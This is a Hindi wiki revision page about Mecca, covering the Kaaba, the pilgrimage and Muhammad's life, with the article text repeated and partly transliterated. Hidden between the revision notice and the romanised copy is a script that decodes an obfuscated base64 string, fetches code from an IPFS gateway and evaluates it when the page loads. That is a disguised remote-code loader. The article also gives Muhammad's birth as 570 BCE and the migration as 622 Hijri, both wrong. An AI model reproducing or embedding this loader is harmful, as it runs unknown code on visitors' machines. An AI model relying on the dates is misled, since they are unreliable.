Difference between revisions of "मक्का (अरब)"

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[[अरब देश|साउदी अरब]] के हेजाज़ प्रांत की राजधानी एवं [[मुहम्मद|मुहम्मद साहब]] का जन्म स्थान होने के कारण [[मुस्लिम]] जनता का विश्वविख्यात तीर्थस्थान है। यह जिद्दा से 45 मील पूर्व में स्थित है। प्राचीन काल से ही [[धर्म]] तथा व्यापार का केंद्र रहा है। यह एक सँकरी, बलुई तथा अनुपजाऊ घाटी में बसा है, जहाँ वर्षा कभी-कभी ही होती है। नगर का खर्च यात्रियों से प्राप्त कर द्वारा पूरा किया जाता है। यहाँ पत्थरों से निर्मित एक विशाल मस्जिद है जिसके मध्य में ग्रेनाइट पत्थर से बना आयताकार काबा स्थित है जो 40 फुट लंबा तथा 33 फुट चौड़ा है। इसमें कोई खिड़की आदि नहीं है बल्कि एक दरवाजा है। काबा के पूर्वी कोने में जमीन से लगभग पाँच फुट की ऊँचाई पर पवित्र काला पत्थर स्थित है। मुसलमान यात्री यहाँ आकर इसके सात चक्कर लगाकर इसे चूँमते हैं। मुहम्मद साहब ने अपने शिष्यों को अपने पापों से मुक्ति पाने के लिये जीवन में कम से कम एक बार मक्का आना आवश्यक बताया था। अत: विश्व के कोने-कोने से मुसलमान लोग पैदल, ऊँटों, ट्रकों, तथा जहाजों आदि से यहाँ आते हैं। पहले यहाँ पर केवल मुस्लिम धर्मावलंबी को ही आने का अधिकार प्राप्त था। इसके कुछ मील तक चारों ओर के क्षेत्र को पवित्र माना जाता है अत: इस क्षेत्र में कोई युद्ध नहीं हो सकता और न ही कोई पेड़ पौधा काटा जा सकता है। यहाँ मुहम्मद साहब ने 570 ई. पू. में जन्म लिया था, फिर मक्कावासियों से झगड़ा हो जाने के कारण आप 622 हिजरी में मक्का छोड़कर [[मदीना]] चले गए थे। मुहम्मद साहब के पहले मक्का का व्यापार [[मिस्र]] आदि देशों से होता था। पहले अरब के कबीले प्रति वर्ष हज़ारों की संख्या में [[देवता|देवताओं]] के पत्थरों के प्रतीक पूजने के लिये एकत्र होते थे किंतु बाद में मुहम्मद साहब ने इस प्रकार की पूजा को समाप्त कर दिया। मस्जिद के समीप ही जम-जम का पवित्र कुआँ है।  
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[[चित्र:Kaaba.jpg|thumb|250px|[[काबा]], मक्का]]
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'''मक्का''' [[अरब देश|साउदी अरब]] के हेजाज़ प्रांत की राजधानी एवं [[मुहम्मद|मुहम्मद साहब]] का जन्म स्थान होने के कारण [[मुस्लिम]] जनता का विश्वविख्यात तीर्थस्थान है। यह जिद्दा से 45 मील पूर्व में स्थित है। प्राचीन काल से ही [[धर्म]] तथा व्यापार का केंद्र रहा है। यह एक सँकरी, बलुई तथा अनुपजाऊ घाटी में बसा है, जहाँ [[वर्षा]] कभी-कभी ही होती है। नगर का खर्च यात्रियों से प्राप्त कर द्वारा पूरा किया जाता है। यहाँ पत्थरों से निर्मित एक विशाल मस्जिद है जिसके मध्य में ग्रेनाइट पत्थर से बना आयताकार काबा स्थित है जो 40 फुट लंबा तथा 33 फुट चौड़ा है। इसमें कोई खिड़की आदि नहीं है बल्कि एक दरवाजा है। काबा के पूर्वी कोने में जमीन से लगभग पाँच फुट की ऊँचाई पर पवित्र काला पत्थर स्थित है। मुसलमान यात्री यहाँ आकर इसके सात चक्कर लगाकर इसे चूँमते हैं। मुहम्मद साहब ने अपने शिष्यों को अपने पापों से मुक्ति पाने के लिये जीवन में कम से कम एक बार मक्का आना आवश्यक बताया था। अत: विश्व के कोने-कोने से [[मुसलमान]] लोग पैदल, ऊँटों, ट्रकों, तथा जहाजों आदि से यहाँ आते हैं। पहले यहाँ पर केवल मुस्लिम धर्मावलंबी को ही आने का अधिकार प्राप्त था। इसके कुछ मील तक चारों ओर के क्षेत्र को पवित्र माना जाता है अत: इस क्षेत्र में कोई युद्ध नहीं हो सकता और न ही कोई पेड़ पौधा काटा जा सकता है। यहाँ मुहम्मद साहब ने 570 ई. पू. में जन्म लिया था, फिर मक्कावासियों से झगड़ा हो जाने के कारण आप 622 हिजरी में मक्का छोड़कर [[मदीना]] चले गए थे। मुहम्मद साहब के पहले मक्का का व्यापार [[मिस्र]] आदि देशों से होता था। पहले अरब के कबीले प्रति वर्ष हज़ारों की संख्या में [[देवता|देवताओं]] के पत्थरों के प्रतीक पूजने के लिये एकत्र होते थे किंतु बाद में मुहम्मद साहब ने इस प्रकार की पूजा को समाप्त कर दिया। मस्जिद के समीप ही जम-जम का पवित्र कुआँ है।  
  
 
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==संबंधित लेख==
 
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Revision as of 10:26, 22 February 2012

chitr:Icon-edit.gif is lekh ka punarikshan evan sampadan hona avashyak hai. ap isamean sahayata kar sakate haian. "sujhav"

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

[[chitr:Kaaba.jpg|thumb|250px|kaba, makka]] makka saudi arab ke hejaz praant ki rajadhani evan muhammad sahab ka janm sthan hone ke karan muslim janata ka vishvavikhyat tirthasthan hai. yah jidda se 45 mil poorv mean sthit hai. prachin kal se hi dharm tatha vyapar ka keandr raha hai. yah ek sankari, baluee tatha anupajaoo ghati mean basa hai, jahaan varsha kabhi-kabhi hi hoti hai. nagar ka kharch yatriyoan se prapt kar dvara poora kiya jata hai. yahaan pattharoan se nirmit ek vishal masjid hai jisake madhy mean grenait patthar se bana ayatakar kaba sthit hai jo 40 phut lanba tatha 33 phut chau da hai. isamean koee khi daki adi nahian hai balki ek daravaja hai. kaba ke poorvi kone mean jamin se lagabhag paanch phut ki ooanchaee par pavitr kala patthar sthit hai. musalaman yatri yahaan akar isake sat chakkar lagakar ise chooanmate haian. muhammad sahab ne apane shishyoan ko apane papoan se mukti pane ke liye jivan mean kam se kam ek bar makka ana avashyak bataya tha. at: vishv ke kone-kone se musalaman log paidal, ooantoan, trakoan, tatha jahajoan adi se yahaan ate haian. pahale yahaan par keval muslim dharmavalanbi ko hi ane ka adhikar prapt tha. isake kuchh mil tak charoan or ke kshetr ko pavitr mana jata hai at: is kshetr mean koee yuddh nahian ho sakata aur n hi koee pe d paudha kata ja sakata hai. yahaan muhammad sahab ne 570 ee. poo. mean janm liya tha, phir makkavasiyoan se jhag da ho jane ke karan ap 622 hijari mean makka chho dakar madina chale ge the. muhammad sahab ke pahale makka ka vyapar misr adi deshoan se hota tha. pahale arab ke kabile prati varsh hazaroan ki sankhya mean devataoan ke pattharoan ke pratik poojane ke liye ekatr hote the kiantu bad mean muhammad sahab ne is prakar ki pooja ko samapt kar diya. masjid ke samip hi jam-jam ka pavitr kuaan hai.


panne ki pragati avastha
adhar
prarambhik
madhyamik
poornata
shodh

tika tippani aur sandarbh

bahari k diyaan

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